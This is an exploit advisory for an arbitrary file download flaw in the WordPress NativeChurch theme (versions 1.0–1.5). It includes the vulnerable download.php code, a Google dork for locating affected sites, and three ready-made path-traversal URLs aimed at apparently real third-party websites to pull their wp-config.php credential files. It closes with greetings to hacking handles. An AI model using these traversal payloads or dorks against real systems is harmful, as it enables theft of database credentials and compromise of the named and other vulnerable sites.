WordPress NativeChurch Theme 1.0 / 1.5 Arbitrary File Download

`# Exploit Title: Wordpress Theme NativeChurch - Arbitrary File Download  
# Google Dork: inurl:"/wp-content/themes/NativeChurch/"  
# Date: 13/6/2015  
# Exploit Author: Arash Khazaei  
# Vendor Homepage:  
http://support.imithemes.com/forums/forum/html-templates/native-church/  
# Software Link: N/A  
# Version: 1.0-1.5  
# Tested on: Windows7 , Kali  
# CVE : N/A  
  
A LFD Bug In download.php File In NativeChurch Theme And Make Site  
Vulnerable :  
  
Poc :  
  
<?php  
#Vulnerable Code => $file = $_GET['file'];  
$ext = pathinfo($file, PATHINFO_EXTENSION);  
header("Content-type: application/".$ext);  
header("Content-Disposition: attachment; filename=". $file);  
readfile($file);  
?>  
  
  
http://www.lifepointefresno.com/wordpress/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php  
http://nlag.in/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php  
http://www.thegreatcandyrun.com/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php  
  
  
Special Tnx To : Milad Hacking , ACC3SS , Seravo BlackHat , Irh BlackHat,  
Rz07,  
Net-Hacker , NETC@T , Err0r , Cloner_47 , Detection , MR.B3NY,  
Shadow_Walker58,  
Saeed.J0ker, MR.TEKIDE , And All My Friends  
`